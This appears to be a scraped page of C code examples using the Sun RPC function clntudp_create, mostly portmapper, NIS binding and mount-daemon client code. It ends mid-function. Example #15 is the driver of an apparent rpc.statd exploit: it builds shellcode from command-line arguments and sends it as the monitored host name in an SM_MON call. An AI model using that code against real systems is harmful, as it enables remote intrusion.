Exemple #1
0
/*
 * pmapper remote-call-service interface.
 * This routine is used to call the pmapper remote call service
 * which will look up a service program in the port maps, and then
 * remotely call that routine with the given parameters.  This allows
 * programs to do a lookup and call in one step.
*/
enum clnt_stat
pmap_rmtcall(struct sockaddr_in *addr, u_long prog, u_long vers, u_long proc,
    xdrproc_t xdrargs, caddr_t argsp, xdrproc_t xdrres, caddr_t resp,
    struct timeval tout, u_long *port_ptr)
{
	int sock = -1;
	CLIENT *client;
	struct rmtcallargs a;
	struct rmtcallres r;
	enum clnt_stat stat;

	addr->sin_port = htons(PMAPPORT);
	client = clntudp_create(addr, PMAPPROG, PMAPVERS, timeout, &sock);
	if (client != NULL) {
		a.prog = prog;
		a.vers = vers;
		a.proc = proc;
		a.args_ptr = argsp;
		a.xdr_args = xdrargs;
		r.port_ptr = port_ptr;
		r.results_ptr = resp;
		r.xdr_results = xdrres;
		stat = CLNT_CALL(client, PMAPPROC_CALLIT, xdr_rmtcall_args, &a,
		    xdr_rmtcallres, &r, tout);
		CLNT_DESTROY(client);
	} else {
		stat = RPC_FAILED;
	}
	if (sock != -1)
		(void)close(sock);
	addr->sin_port = 0;
	return (stat);
}
Exemple #2
0
static int
callaurpc(char *host, int prognum, int versnum, int procnum,
    xdrproc_t inproc, char *in, xdrproc_t outproc, char *out)
{
	struct sockaddr_in server_addr;
	enum clnt_stat clnt_stat;
	struct hostent *hp;
	struct timeval timeout, tottimeout;
 
	CLIENT *client = NULL;
	int sock = RPC_ANYSOCK;
 
	if ((hp = gethostbyname(host)) == NULL)
		return ((int) RPC_UNKNOWNHOST);
	timeout.tv_usec = 0;
	timeout.tv_sec = 6;
	bcopy(hp->h_addr, &server_addr.sin_addr,
			MIN(hp->h_length,(int)sizeof(server_addr.sin_addr)));
	server_addr.sin_family = AF_INET;
	server_addr.sin_port =  0;

	if ((client = clntudp_create(&server_addr, prognum,
	    versnum, timeout, &sock)) == NULL)
		return ((int) rpc_createerr.cf_stat);

	client->cl_auth = authunix_create_default();
	tottimeout.tv_sec = 25;
	tottimeout.tv_usec = 0;
	clnt_stat = clnt_call(client, procnum, inproc, in,
	    outproc, out, tottimeout);
 
	return ((int) clnt_stat);
}
int
my_getport(struct in_addr server, struct timeval *timeo, ...)
{
        struct sockaddr_in sin;
        struct pmap     pmap;
        CLIENT          *clnt;
        int             sock = RPC_ANYSOCK, port;

        pmap.pm_prog = prog;
        pmap.pm_vers = vers;
        pmap.pm_prot = prot;
        pmap.pm_port = 0;
        sin.sin_family = AF_INET;
        sin.sin_addr = server;
        sin.sin_port = htons(111);
        clnt = clntudp_create(&sin, 100000, 2, *timeo, &sock);
        status = clnt_call(clnt, PMAP_GETPORT,
                                &pmap, (xdrproc_t) xdr_pmap,
                                &port, (xdrproc_t) xdr_uint);
        if (status != SUCCESS) {
	     /* natter */
                port = 0;
        }

        clnt_destroy(clnt);
        close(sock);
        return port;
}
Exemple #4
0
/*
 * Ping the portmapper on a remote system by calling the nullproc
 */
enum clnt_stat
pmap_ping(struct sockaddr_in *address)
{
  CLIENT *client;
  enum clnt_stat clnt_stat = RPC_TIMEDOUT; /* assume failure */
  int socket = RPC_ANYSOCK;
  struct timeval timeout;

  timeout.tv_sec = 3;
  timeout.tv_usec = 0;
  address->sin_port = htons(PMAPPORT);
  client = clntudp_create(address, PMAPPROG, PMAPVERS, timeout, &socket);
  if (client != (CLIENT *) NULL) {
    clnt_stat = clnt_call(client,
			  PMAPPROC_NULL,
			  (XDRPROC_T_TYPE) xdr_void,
			  NULL,
			  (XDRPROC_T_TYPE) xdr_void,
			  NULL,
			  timeout);
    clnt_destroy(client);
  }
  close(socket);
  address->sin_port = 0;

  return clnt_stat;
}
Exemple #5
0
/* returns NULL on error or no exports available */
exports get_export_list(char *hostname)
{
	struct hostent *hp;
	struct sockaddr_in server_addr;
	int msock;
	CLIENT *mclient;
	exports exportlist;
	enum clnt_stat clnt_stat;
	struct timeval total_timeout;
	struct timeval pertry_timeout;

	/* get the servers address info all squared away */
	if (inet_aton(hostname, (struct in_addr *) &server_addr.sin_addr.s_addr)) {
		server_addr.sin_family = AF_INET;
	} else {
		if ((hp = gethostbyname(hostname)) == NULL) {
			fprintf(stderr, "%s: can't get address for %s\n",
				program_name, hostname);
			return (NULL);
		}
		server_addr.sin_family = AF_INET;
		memcpy(&server_addr.sin_addr, hp->h_addr, hp->h_length);
	}

	/* create a client object.
	 * first try a UDP client. if not
	 * possible, then fall back to * using UDP*/
	server_addr.sin_port = 0;
	msock = RPC_ANYSOCK;
	if ((mclient = clnttcp_create(&server_addr,
				      MOUNTPROG, MOUNTVERS, &msock, 0, 0)) == NULL) {
		server_addr.sin_port = 0;
		msock = RPC_ANYSOCK;
		pertry_timeout.tv_sec = 3;
		pertry_timeout.tv_usec = 0;
		if ((mclient = clntudp_create(&server_addr,
					      MOUNTPROG, MOUNTVERS, pertry_timeout,
					      &msock)) == NULL) {
			clnt_pcreateerror("mount clntudp_create");
			return (NULL);
		}
	}
	mclient->cl_auth = authunix_create_default();
	total_timeout.tv_sec = 20;
	total_timeout.tv_usec = 0;

	/* Ok, get a list of exports from the server */
	memset(&exportlist, '\0', sizeof(exportlist));
	clnt_stat = clnt_call(mclient, MOUNTPROC_EXPORT,
			      (xdrproc_t) xdr_void, NULL,
			      (xdrproc_t) xdr_exports, (caddr_t) & exportlist,
			      total_timeout);
	if (clnt_stat != RPC_SUCCESS) {
		clnt_perror(mclient, "rpc mount export");
		return (NULL);
	}

	return (exportlist);
}
Exemple #6
0
/*
 * Create an rpc client attached to the mount daemon.
 */
CLIENT *
get_mount_client(char *unused_host, struct sockaddr_in *sin, struct timeval *tv, int *sock, u_long mnt_version)
{
  CLIENT *client;

  /*
   * First try a TCP socket
   */
  if ((*sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) > 0) {
    /*
     * Bind to a privileged port
     */
    if (bind_resv_port(*sock, (u_short *) NULL) < 0)
      plog(XLOG_ERROR, "can't bind privileged port (socket)");

    /*
     * Find mountd port to connect to.
     * Connect to mountd.
     * Create a tcp client.
     */
    if ((sin->sin_port = htons(pmap_getport(sin, MOUNTPROG, mnt_version, IPPROTO_TCP))) != 0) {
      if (connect(*sock, (struct sockaddr *) sin, sizeof(*sin)) >= 0
	  && ((client = clnttcp_create(sin, MOUNTPROG, mnt_version, sock, 0, 0)) != NULL))
	return client;
    }
    /*
     * Failed so close socket
     */
    (void) close(*sock);
  }				/* tcp socket opened */
  /* TCP failed so try UDP */
  if ((*sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
    plog(XLOG_ERROR, "Can't create socket to connect to mountd: %m");
    *sock = RPC_ANYSOCK;
    return NULL;
  }
  /*
   * Bind to a privileged port
   */
  if (bind_resv_port(*sock, (u_short *) NULL) < 0)
    plog(XLOG_ERROR, "can't bind privileged port");

  /*
   * Zero out the port - make sure we recompute
   */
  sin->sin_port = 0;

  /*
   * Make a UDP client
   */
  if ((client = clntudp_create(sin, MOUNTPROG, mnt_version, *tv, sock)) == NULL) {
    (void) close(*sock);
    *sock = RPC_ANYSOCK;
    return NULL;
  }
  dlog("get_mount_client: Using udp, port %d", sin->sin_port);
  return client;
}
Exemple #7
0
int main(int argn, char *argc[])
{
	//Program parameters : argc[1] : HostName or Host IP
	//                                         argc[2] : Server Program Number
	//                                         argc[3] : Number of testes function calls
	//                                         other arguments depend on test case

	//run_mode can switch into stand alone program or program launch by shell script
	//1 : stand alone, debug mode, more screen information
	//0 : launch by shell script as test case, only one printf -> result status
	int run_mode = 0;
	int test_status = 1;	//Default test result set to FAILED
	int progNum = atoi(argc[2]);
	CLIENT *clnt = NULL;
	struct sockaddr_in server_addr;
	struct hostent *hp = NULL;
	struct timeval pertry_timeout;
	int sock = RPC_ANYSOCK;
	int nbCall = atoi(argc[3]);
	int nbOk = 0;
	int i;

	//Test initialization
	if ((hp = gethostbyname(argc[1])) == NULL) {
		fprintf(stderr, "can't get addr for %s\n", argc[1]);
		exit(-1);
	}

	pertry_timeout.tv_sec = 1;
	pertry_timeout.tv_usec = 0;

	bcopy(hp->h_addr, (caddr_t) & server_addr.sin_addr, hp->h_length);
	server_addr.sin_family = AF_INET;
	server_addr.sin_port = 0;

	//First of all, create a client
	for (i = 0; i < nbCall; i++) {
		clnt =
		    clntudp_create(&server_addr, progNum, VERSNUM,
				   pertry_timeout, &sock);
		if ((CLIENT *) clnt != NULL)
			nbOk++;
	}

	//If we are here, macro call was successful
	if (run_mode == 1) {
		printf("Aimed : %d\n", nbCall);
		printf("Got : %d\n", nbOk);
	}

	test_status = (nbOk == nbCall) ? 0 : 1;

	//This last printf gives the result status to the tests suite
	//normally should be 0: test has passed or 1: test has failed
	printf("%d\n", test_status);

	return test_status;
}
Exemple #8
0
/*
 * Generic client creation: takes (hostname, program-number, protocol) and
 * returns client handle. Default options are set, which the user can 
 * change using the rpc equivalent of ioctl()'s.
 */
CLIENT *
clnt_create(char *hostname, u_long prog, u_long vers, char *proto)
{
	struct hostent *h;
	struct protoent *p;
	struct sockaddr_in sin;
	int sock;
	struct timeval tv;
	CLIENT *client;

	h = gethostbyname(hostname);
	if (h == NULL) {
		rpc_createerr.cf_stat = RPC_UNKNOWNHOST;
		return (NULL);
	}
	if (h->h_addrtype != AF_INET) {
		/*
		 * Only support INET for now
		 */
		rpc_createerr.cf_stat = RPC_SYSTEMERROR;
		rpc_createerr.cf_error.re_errno = EAFNOSUPPORT; 
		return (NULL);
	}
	memset(&sin, 0, sizeof(sin));
	sin.sin_len = sizeof(struct sockaddr_in);
	sin.sin_family = h->h_addrtype;
	sin.sin_port = 0;
	memcpy((char*)&sin.sin_addr, h->h_addr, h->h_length);
	p = getprotobyname(proto);
	if (p == NULL) {
		rpc_createerr.cf_stat = RPC_UNKNOWNPROTO;
		rpc_createerr.cf_error.re_errno = EPFNOSUPPORT; 
		return (NULL);
	}
	sock = RPC_ANYSOCK;
	switch (p->p_proto) {
	case IPPROTO_UDP:
		tv.tv_sec = 5;
		tv.tv_usec = 0;
		client = clntudp_create(&sin, prog, vers, tv, &sock);
		if (client == NULL) {
			return (NULL);
		}
		break;
	case IPPROTO_TCP:
		client = clnttcp_create(&sin, prog, vers, &sock, 0, 0);
		if (client == NULL) {
			return (NULL);
		}
		break;
	default:
		rpc_createerr.cf_stat = RPC_SYSTEMERROR;
		rpc_createerr.cf_error.re_errno = EPFNOSUPPORT; 
		return (NULL);
	}
	return (client);
}
Exemple #9
0
static CLIENT *
mkclient(struct sockaddr_in *sin, unsigned long prog, unsigned long vers,
    int tcp)
{
	static struct timeval tv = { 10, 0 };
	int fd = RPC_ANYSOCK;

	if (tcp)
		return clnttcp_create(sin, prog, vers, &fd, 0, 0);
	else
		return clntudp_create(sin, prog, vers, tv, &fd);
}
Exemple #10
0
static int
bind_tohost(struct sockaddr_in *sin, char *dom, char *server)
{
	struct ypbind_setdom ypsd;
	struct in_addr iaddr;
	struct hostent *hp;
	struct timeval tv;
	CLIENT *client;
	int sock, port, r;

	port = getrpcport(server, YPPROG, YPPROC_NULL, IPPROTO_UDP);
	if (port == 0)
		errx(1, "%s not running ypserv", server);
	port = htons(port);

	memset(&ypsd, 0, sizeof ypsd);

	if (inet_aton(server, &iaddr) == 0) {
		hp = gethostbyname(server);
		if (hp == NULL)
			errx(1, "can't find address for %s", server);
		memmove(&iaddr.s_addr, hp->h_addr, sizeof(iaddr.s_addr));
	}
	ypsd.ypsetdom_domain = dom;
	bcopy(&iaddr.s_addr, &ypsd.ypsetdom_binding.ypbind_binding_addr,
	    sizeof(ypsd.ypsetdom_binding.ypbind_binding_addr));
	bcopy(&port, &ypsd.ypsetdom_binding.ypbind_binding_port,
	    sizeof(ypsd.ypsetdom_binding.ypbind_binding_port));
	ypsd.ypsetdom_vers = YPVERS;

	tv.tv_sec = 15;
	tv.tv_usec = 0;
	sock = RPC_ANYSOCK;
	client = clntudp_create(sin, YPBINDPROG, YPBINDVERS, tv, &sock);
	if (client == NULL) {
		warnx("can't yp_bind: reason: %s", yperr_string(YPERR_YPBIND));
		return YPERR_YPBIND;
	}
	client->cl_auth = authunix_create_default();

	r = clnt_call(client, YPBINDPROC_SETDOM,
	    xdr_ypbind_setdom, &ypsd, xdr_void, NULL, tv);
	if (r) {
		warnx("Cannot ypset for domain %s on host %s: %s", dom,
		    server, clnt_sperrno(r));
		clnt_destroy(client);
		return YPERR_YPBIND;
	}
	clnt_destroy(client);
	return 0;
}
Exemple #11
0
CLIENT *
yp_bind_host(char *server, u_long program, u_long version, u_short port,
    int usetcp)
{
	struct sockaddr_in rsrv_sin;
	static CLIENT *client;
	struct hostent *h;
	struct timeval tv;
	int rsrv_sock;

	memset(&rsrv_sin, 0, sizeof rsrv_sin);
	rsrv_sin.sin_len = sizeof rsrv_sin;
	rsrv_sin.sin_family = AF_INET;
	rsrv_sock = RPC_ANYSOCK;
	if (port != 0)
		rsrv_sin.sin_port = htons(port);

	if (*server >= '0' && *server <= '9') {
		if (inet_aton(server, &rsrv_sin.sin_addr) == 0) {
			fprintf(stderr, "inet_aton: invalid address %s.\n",
			    server);
			exit(1);
		}
	} else {
		h = gethostbyname(server);
		if (h == NULL) {
			fprintf(stderr, "gethostbyname: unknown host %s.\n",
			    server);
			exit(1);
		}
		rsrv_sin.sin_addr.s_addr = *(u_int32_t *)h->h_addr;
	}

	tv.tv_sec = 10;
	tv.tv_usec = 0;

	if (usetcp)
		client = clnttcp_create(&rsrv_sin, program, version,
		    &rsrv_sock, 0, 0);
	else
		client = clntudp_create(&rsrv_sin, program, version, tv,
		    &rsrv_sock);

	if (client == NULL) {
		fprintf(stderr, "clntudp_create: no contact with host %s.\n",
		    server);
		exit(1);
	}
	return(client);
}
Exemple #12
0
/*
 * Generic client creation: takes (hostname, program-number, protocol) and
 * returns client handle. Default options are set, which the user can
 * change using the rpc equivalent of ioctl()'s.
 */
CLIENT *clnt_create (const char *hostname, const unsigned long prog,
				 const unsigned long vers, const char *proto)
{
	int sock;
	struct hostent *h;
	struct sockaddr_in sin;
	struct timeval tv;
	CLIENT *client;

	h = gethostbyname(hostname);
	if (h == NULL) {
	    fprintf(stderr, "rpc : unknown host\n");
		return (NULL);
	}
	if (h->h_addrtype != AF_INET) {
	    fprintf(stderr, "rpc : unknow inet\n");
		return (NULL);
	}
	memset((char*)&sin,0,sizeof(sin));
	sin.sin_family = h->h_addrtype;
	sin.sin_port = 0;
	memmove((char *) &sin.sin_addr, h->h_addr, h->h_length);

	sock = -1;
	if (strcmp(proto, "udp") == 0)
	{
		tv.tv_sec = 5;
		tv.tv_usec = 0;
		client = clntudp_create(&sin, prog, vers, tv, &sock);
		if (client == NULL) return NULL;
		clnt_control(client, CLSET_TIMEOUT, (char*)&tv);
	} 
	else if (strcmp(proto, "tcp") == 0) 
	{
	    client = clnttcp_create(&sin, prog, vers, &sock, TCPMSGSIZE, TCPMSGSIZE); /* sylixos and TCPMSGSIZE */
		if (client == NULL) {
			return (NULL);
		}
		tv.tv_sec = 25;
		tv.tv_usec = 0;
		clnt_control(client, CLSET_TIMEOUT, &tv);
	}
	else
	{
	    fprintf(stderr, "rpc : unknow protocol\n");
		return NULL;
	}

	return (client);
}
Exemple #13
0
/*
 * The routine transform_dir(path) transforms pathnames of directories
 * mounted with the amd automounter to produce a more "natural" version.
 * The automount table is obtained from the local amd via the rpc interface
 * and reverse lookups are repeatedly performed on the directory name
 * substituting the name of the automount link for the value of the link
 * whenever it occurs as a prefix of the directory name.
 */
static char *
transform_dir(char *dir)
{
#ifdef DISK_HOME_HACK
  char *ch;
#endif /* DISK_HOME_HACK */
  char *server;
  struct sockaddr_in server_addr;
  int s = RPC_ANYSOCK;
  CLIENT *clnt;
  struct hostent *hp;
  struct timeval tmo = {10, 0};
  char *dummystr;
  amq_string *spp;

#ifdef DISK_HOME_HACK
  if (ch = hack_name(dir))
    return ch;
#endif /* DISK_HOME_HACK */

#ifdef HAVE_CNODEID
  server = cluster_server();
#else /* not HAVE_CNODEID */
  server = localhost;
#endif /* not HAVE_CNODEID */

  if ((hp = gethostbyname(server)) == NULL)
    return dir;
  memset(&server_addr, 0, sizeof(server_addr));
  /* as per POSIX, sin_len need not be set (used internally by kernel) */
  server_addr.sin_family = AF_INET;
  server_addr.sin_addr = *(struct in_addr *) hp->h_addr;

  clnt = clntudp_create(&server_addr, AMQ_PROGRAM, AMQ_VERSION, tmo, &s);
  if (clnt == NULL)
    clnt = clnttcp_create(&server_addr, AMQ_PROGRAM, AMQ_VERSION, &s, 0, 0);
  if (clnt == NULL)
    return dir;

  xstrlcpy(transform, dir, sizeof(transform));
  dummystr = transform;
  spp = amqproc_pawd_1((amq_string *) &dummystr, clnt);
  if (spp && *spp && **spp) {
    xstrlcpy(transform, *spp, sizeof(transform));
    XFREE(*spp);
  }
  clnt_destroy(clnt);
  return transform;
}
Exemple #14
0
/*
 * Like yp_bind except can query a specific host
 */
static int
bind_host(char *dom, struct sockaddr_in *lsin)
{
	struct hostent *hent = NULL;
	struct ypbind_resp ypbr;
	struct timeval tv;
	CLIENT *client;
	int sock, r;
	struct in_addr ss_addr;

	sock = RPC_ANYSOCK;
	tv.tv_sec = 15;
	tv.tv_usec = 0;
	client = clntudp_create(lsin, YPBINDPROG, YPBINDVERS, tv, &sock);
	if (client == NULL) {
		warnx("can't clntudp_create: %s", yperr_string(YPERR_YPBIND));
		return (YPERR_YPBIND);
	}

	tv.tv_sec = 5;
	tv.tv_usec = 0;
	r = clnt_call(client, YPBINDPROC_DOMAIN,
		(xdrproc_t)xdr_domainname, &dom,
		(xdrproc_t)xdr_ypbind_resp, &ypbr, tv);
	if (r != RPC_SUCCESS) {
		warnx("can't clnt_call: %s", yperr_string(YPERR_YPBIND));
		clnt_destroy(client);
		return (YPERR_YPBIND);
	} else {
		if (ypbr.ypbind_status != YPBIND_SUCC_VAL) {
			warnx("can't yp_bind: reason: %s",
				ypbinderr_string(ypbr.ypbind_respbody.ypbind_error));
			clnt_destroy(client);
			return (r);
		}
	}
	clnt_destroy(client);

	ss_addr = ypbr.ypbind_respbody.ypbind_bindinfo.ypbind_binding_addr;
	/*printf("%08x\n", ss_addr);*/
	hent = gethostbyaddr((char *)&ss_addr, sizeof(ss_addr), AF_INET);
	if (hent)
		printf("%s\n", hent->h_name);
	else
		printf("%s\n", inet_ntoa(ss_addr));
	return (0);
}
Exemple #15
0
main(int argc, char *argv[]) {
  CLIENT *cl;
  enum clnt_stat stat;
  struct timeval tm;
  struct mon monreq;
  struct sm_stat_res monres;
  struct hostent *hp;
  struct sockaddr_in target;
  int sd, i;

  if (argc < 4)
    usage(argv[0]);

  make_shellcode(argv[2], argv[3]);

  memset(&monreq, 0, sizeof(monreq));
  monreq.mon_id.my_id.my_name ="localhost";
  monreq.mon_id.my_id.my_prog = 0;
  monreq.mon_id.my_id.my_vers = 0;
  monreq.mon_id.my_id.my_proc = 0;
  monreq.mon_id.mon_name = shellcode;
  
  if ((hp=gethostbyname(argv[1])) == NULL) {
    printf("Can't resolve %s\n", argv[1]);
    exit(0);
  }
  target.sin_family=AF_INET;
  target.sin_addr.s_addr=*(u_long *)hp->h_addr;
  target.sin_port=0;    /* ask portmap */
  sd = RPC_ANYSOCK;

  tm.tv_sec=10;
  tm.tv_usec=0;
  if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
    clnt_pcreateerror("clnt_create");
    exit(0);
  }
  stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
                (char *)&monres, tm);
  if (stat != RPC_SUCCESS)
    clnt_perror(cl, "clnt_call");
  else
    printf("stat_res = %d.\n", monres.res_stat);
  clnt_destroy(cl);
}
Exemple #16
0
CLIENT *
yp_bind_host(char *server, u_int program, u_int version, u_short port,
	     int usetcp)
{
	struct sockaddr_in rsrv_sin;
	int rsrv_sock;
	struct hostent *h;
	static CLIENT *client;

	memset(&rsrv_sin, 0, sizeof rsrv_sin);
	rsrv_sin.sin_len = sizeof rsrv_sin;
	rsrv_sin.sin_family = AF_INET;
	rsrv_sock = RPC_ANYSOCK;
	if (port != 0) {
		rsrv_sin.sin_port = htons(port);
	}

	if (isdigit((unsigned char)*server)) {
		if (inet_aton(server,&rsrv_sin.sin_addr) == 0) {
			errx(1, "invalid IP address `%s'", server);
		}
	} else {
		h = gethostbyname(server);
		if(h == NULL) {
			errx(1, "unknown host `%s'", server);
		}
		memcpy(&rsrv_sin.sin_addr.s_addr, h->h_addr_list[0],
		    h->h_length);
	}

	if (usetcp)
		client = clnttcp_create(&rsrv_sin, program, version,
		    &rsrv_sock, 0, 0);
	else
		client = clntudp_create(&rsrv_sin, program, version,
		    _yplib_host_timeout, &rsrv_sock);

	if (client == NULL)
		errx(1, "%s: no contact with host `%s'",
		    usetcp ? "clnttcp_create" : "clntudp_create", server);

	return(client);
}
Exemple #17
0
CLIENT *
yp_bind_local(u_int program, u_int version)
{
	struct sockaddr_in rsrv_sin;
	int rsrv_sock;
	static CLIENT *client;

	memset(&rsrv_sin, 0, sizeof rsrv_sin);
	rsrv_sin.sin_len = sizeof rsrv_sin;
	rsrv_sin.sin_family = AF_INET;
	rsrv_sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	rsrv_sock = RPC_ANYSOCK;

	client = clntudp_create(&rsrv_sin, program, version,
	    _yplib_host_timeout, &rsrv_sock);
	if (client == NULL)
		errx(1, "clntudp_create: no contact with localhost");

	return(client);
}
Exemple #18
0
static void
ypxfr_exit(ypxfrstat retval, char *temp)
{
	CLIENT *clnt;
	int sock = RPC_ANYSOCK;
	struct timeval timeout;

	/* Clean up no matter what happened previously. */
	if (temp != NULL) {
		if (dbp != NULL)
			(void)(dbp->close)(dbp);
		if (unlink(temp) == -1) {
			yp_error("failed to unlink %s",strerror(errno));
		}
	}

	if (ypxfr_prognum) {
		timeout.tv_sec = 20;
		timeout.tv_usec = 0;

		if ((clnt = clntudp_create(&ypxfr_callback_addr, ypxfr_prognum,
					1, timeout, &sock)) == NULL) {
			yp_error("%s", clnt_spcreateerror("failed to "
			    "establish callback handle"));
			exit(1);
		}

		ypxfr_resp.status = (yppush_status)retval;

		if (yppushproc_xfrresp_1(&ypxfr_resp, clnt) == NULL) {
			yp_error("%s", clnt_sperror(clnt, "callback failed"));
			clnt_destroy(clnt);
			exit(1);
		}
		clnt_destroy(clnt);
	} else {
		yp_error("Exiting: %s", ypxfrerr_string(retval));
	}

	exit(0);
}
Exemple #19
0
/*
 * Check if the portmapper is running and reachable: 0==down, 1==up
 */
int check_pmap_up(char *host, struct sockaddr_in* sin)
{
  CLIENT *client;
  enum clnt_stat clnt_stat = RPC_TIMEDOUT; /* assume failure */
  int socket = RPC_ANYSOCK;
  struct timeval timeout;

  timeout.tv_sec = 2;
  timeout.tv_usec = 0;
  sin->sin_port = htons(PMAPPORT);
  client = clntudp_create(sin, PMAPPROG, PMAPVERS, timeout, &socket);

  if (client == (CLIENT *) NULL) {
    plog(XLOG_ERROR,
	 "check_pmap_up: cannot create connection to contact portmapper on host \"%s\"%s",
	 host, clnt_spcreateerror(""));
    return 0;
  }

  timeout.tv_sec = 6;
  /* Ping the portmapper on a remote system by calling the nullproc */
  clnt_stat = clnt_call(client,
			PMAPPROC_NULL,
			(XDRPROC_T_TYPE) xdr_void,
			NULL,
			(XDRPROC_T_TYPE) xdr_void,
			NULL,
			timeout);
  clnt_destroy(client);
  close(socket);
  sin->sin_port = 0;

  if (clnt_stat == RPC_TIMEDOUT) {
    plog(XLOG_ERROR,
	 "check_pmap_up: failed to contact portmapper on host \"%s\": %s",
	 host, clnt_sperrno(clnt_stat));
    return 0;
  }
  return 1;
}
Exemple #20
0
/*
 * pmapper remote-call-service interface.
 * This routine is used to call the pmapper remote call service
 * which will look up a service program in the port maps, and then
 * remotely call that routine with the given parameters.  This allows
 * programs to do a lookup and call in one step.
*/
enum clnt_stat
pmap_rmtcall(
	struct sockaddr_in *addr,
	rpcprog_t prog,
	rpcvers_t vers,
	rpcproc_t proc,
	xdrproc_t xdrargs,
	caddr_t argsp,
	xdrproc_t xdrres,
	caddr_t resp,
	struct timeval tout,
	rpcport_t *port_ptr)
{
        SOCKET sock = INVALID_SOCKET;
	CLIENT *client;
	struct rmtcallargs a;
	struct rmtcallres r;
	enum clnt_stat stat;

	addr->sin_port = htons(PMAPPORT);
	client = clntudp_create(addr, PMAPPROG, PMAPVERS, timeout, &sock);
	if (client != (CLIENT *)NULL) {
		a.prog = prog;
		a.vers = vers;
		a.proc = proc;
		a.args_ptr = argsp;
		a.xdr_args = xdrargs;
		r.port_ptr = port_ptr;
		r.results_ptr = resp;
		r.xdr_results = xdrres;
		stat = CLNT_CALL(client, PMAPPROC_CALLIT, xdr_rmtcall_args, &a,
		    xdr_rmtcallres, &r, tout);
		CLNT_DESTROY(client);
	} else {
		stat = RPC_FAILED;
	}
        (void)closesocket(sock);
	addr->sin_port = 0;
	return (stat);
}
Exemple #21
0
CLIENT *
yp_bind_local(u_long program, u_long version)
{
	struct sockaddr_in rsrv_sin;
	static CLIENT *client;
	struct timeval tv;
	int rsrv_sock;

	memset(&rsrv_sin, 0, sizeof rsrv_sin);
	rsrv_sin.sin_len = sizeof rsrv_sin;
	rsrv_sin.sin_family = AF_INET;
	rsrv_sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	rsrv_sock = RPC_ANYSOCK;

	tv.tv_sec = 10;
	tv.tv_usec = 0;

	client = clntudp_create(&rsrv_sin, program, version, tv, &rsrv_sock);
	if (client == NULL) {
		errx(1, "clntudp_create: no contact with localhost.");
	}

	return (client);
}
Exemple #22
0
struct client * clnt_create(const char *host, __u32 prognum,
		__u32 versnum, const char *prot) {
	struct sockaddr_in raddr;
	struct timeval tv;
	int sock;

	sock = RPC_ANYSOCK;
	raddr.sin_family = AF_INET;
	inet_aton(host, &raddr.sin_addr);
	raddr.sin_port = 0;
	if (strcmp(prot, "udp") == 0) {
		tv.tv_sec = 5;
		tv.tv_usec = 0;
		return clntudp_create(&raddr, prognum, versnum, tv, &sock);
	}
	else if (strcmp(prot, "tcp") == 0) {
		return clnttcp_create(&raddr, prognum, versnum, &sock, 0, 0);
	}

	rpc_create_error.stat = RPC_UNKNOWNPROTO;
	rpc_create_error.err.extra.error = EPFNOSUPPORT;

	return NULL; /* protocol not supported */
}
Exemple #23
0
/* returns an initialised client, or NULL on error */
CLIENT *create_rpc_client(struct sockaddr_in *client_sock, struct addrinfo *hints, unsigned long prognum, unsigned long version, struct timeval timeout, struct sockaddr_in src_ip) {
    CLIENT *client = NULL;
    int sock;
    long unsigned protocol; /* for portmapper */
    char src[INET_ADDRSTRLEN];
    char dst[INET_ADDRSTRLEN];
    struct sockaddr_in getaddr; /* for getsockname */
    socklen_t len = sizeof(getaddr);

    /* Even if you specify a source address the portmapper will use the default one */
    /* this applies to pmap_getport or clnt*_create */
    /* so use our own get_rpc_port */

    /* check if we need to use the portmapper, 0 = yes */
    if (client_sock->sin_port == 0) {
        client_sock->sin_port = htons(PMAPPORT); /* 111 */

        sock = socket(AF_INET, hints->ai_socktype, 0);
        if (sock < 0) {
            perror("create_rpc_client(socket)");
            return NULL;
        }

        /* set the source address if specified */
        if (src_ip.sin_addr.s_addr) {
            /* portmapper doesn't need a reserved port */
            src_ip.sin_port = 0;

            if (bind(sock, (struct sockaddr *) &src_ip, sizeof(src_ip)) == -1) {
                perror("create_rpc_client(bind)");
                return NULL;
            }
        }

        if (connect(sock, (struct sockaddr *)client_sock, sizeof(struct sockaddr)) == 0) {
            /* TCP */
            if (hints->ai_socktype == SOCK_STREAM) {
                protocol = PMAP_IPPROTO_TCP;
                    client = clnttcp_create(client_sock, PMAPPROG, PMAPVERS, &sock, 0, 0);
                    if (client == NULL) {
                        clnt_pcreateerror("clnttcp_create");
                    }
            /* UDP */
            } else {
                protocol = PMAP_IPPROTO_UDP;
                client = clntudp_create(client_sock, PMAPPROG, PMAPVERS, timeout, &sock);
                if (client == NULL) {
                    clnt_pcreateerror("clntudp_create");
                }
            }
        } else {
            perror("create_rpc_client(connect)");
            return NULL;
        }

        if (verbose) {
            if (getsockname(sock, (struct sockaddr *)&getaddr, &len) == -1) {
                perror("create_rpc_client(getsockname)");
                /* this is just verbose output so don't return an error */
            } else {
                inet_ntop(AF_INET, (struct sockaddr_in *)&getaddr.sin_addr, src, INET_ADDRSTRLEN);
                //inet_ntop(AF_INET, &(((struct sockaddr_in *)&client_sock)->sin_addr), dst, INET_ADDRSTRLEN);
                inet_ntop(AF_INET, &(client_sock->sin_addr), dst, INET_ADDRSTRLEN);
                debug("portmap request = %s:%u -> %s:%u\n", src, ntohs(getaddr.sin_port), dst, ntohs(client_sock->sin_port));
            }
        }

        /* query the portmapper */
        client_sock->sin_port = get_rpc_port(client, prognum, version, protocol);

        /* close the portmapper connection */
        client = destroy_rpc_client(client);

        /* by this point we should know which port we're talking to */
        debug("portmapper = %s:%u\n", dst, ntohs(client_sock->sin_port));
    }

    /* now make the client connection */

    /* by now we should have a port defined unless the program isn't registered */
    if (client_sock->sin_port) {
        /* Make sure and make new sockets for each new connection */
        /* clnttcp_create will happily reuse open sockets */
        sock = socket(AF_INET, hints->ai_socktype, 0);
        if (sock < 0) {
            perror("create_rpc_client(socket)");
            return NULL;
        }

        /* always try and bind to a low port first */
        /* could check for root here but there are other mechanisms for allowing processes to bind to low ports */
        if (bindresvport(sock, &src_ip) == -1) {
            /* permission denied, ie we aren't root */
            if (errno == EACCES) {
                /* try an ephemeral port */
                src_ip.sin_port = htons(0);
            } else {
                perror("create_rpc_client(bindresvport)");
                return NULL;
            }
        }

        /* now we're bound to a local socket, try and connect to the server */
